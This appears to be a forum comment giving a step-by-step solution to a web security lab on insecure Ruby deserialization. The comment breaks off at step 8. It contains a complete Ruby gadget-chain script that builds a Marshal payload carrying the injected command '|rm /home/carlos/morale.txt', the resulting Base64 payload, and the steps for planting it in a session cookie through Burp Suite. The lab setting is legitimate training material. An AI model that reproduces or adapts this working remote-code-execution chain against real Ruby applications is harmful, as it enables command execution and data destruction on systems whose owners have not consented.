I checked article below. my steps: 1. I Open the lab and log in as user wiener 2. Notice marshaled session cookie 3. Use following code at: https://www.onlinegdb.com/online_ruby_compiler #!/usr/bin/env ruby class Gem::StubSpecification def initialize; end end stub_specification = Gem::StubSpecification.new stub_specification.instance_variable_set(:@loaded_from, "|rm /home/carlos/morale.txt") puts "STEP n" stub_specification.name rescue nil puts class Gem::Source::SpecificFile def initialize; end end specific_file = Gem::Source::SpecificFile.new specific_file.instance_variable_set(:@spec, stub_specification) other_specific_file = Gem::Source::SpecificFile.new puts "STEP n-1" specific_file <=> other_specific_file rescue nil puts $dependency_list= Gem::DependencyList.new $dependency_list.instance_variable_set(:@specs, [specific_file, other_specific_file]) puts "STEP n-2" $dependency_list.each{} rescue nil puts class Gem::Requirement def marshal_dump [$dependency_list] end end payload = Marshal.dump(Gem::Requirement.new) puts "STEP n-3" Marshal.load(payload) rescue nil puts puts "VALIDATION (in fresh ruby process):" IO.popen("ruby -e 'Marshal.load(STDIN.read) rescue nil'", "r+") do |pipe| pipe.print payload pipe.close_write puts pipe.gets puts end puts "Payload (hex):" puts payload.unpack('H*')[0] puts require "base64" puts "Payload (Base64 encoded):" puts Base64.encode64(payload) 4. CORRECT BASE64 output for payload: BAhVOhVHZW06OlJlcXVpcmVtZW50WwZvOhhHZW06OkRlcGVuZGVuY3lMaXN0BzoLQHNwZWNzWwdvOh5HZW06OlNvdXJjZTo6U3BlY2lmaWNGaWxlBjoKQHNwZWNvOhtHZW06OlN0dWJTcGVjaWZpY2F0aW9uBjoRQGxvYWRlZF9mcm9tSSIgfHJtIC9ob21lL2Nhcmxvcy9tb3JhbGUudHh0BjoGRVRvOwgAOhFAZGV2ZWxvcG1lbnRG 5. Paste base64 payload in decoder tab in Burp Suite Professional and URL encode payload 6. With intercept ON, navigate home in the lab environment 7. Paste the URL encoded payload in the session cookie 8.
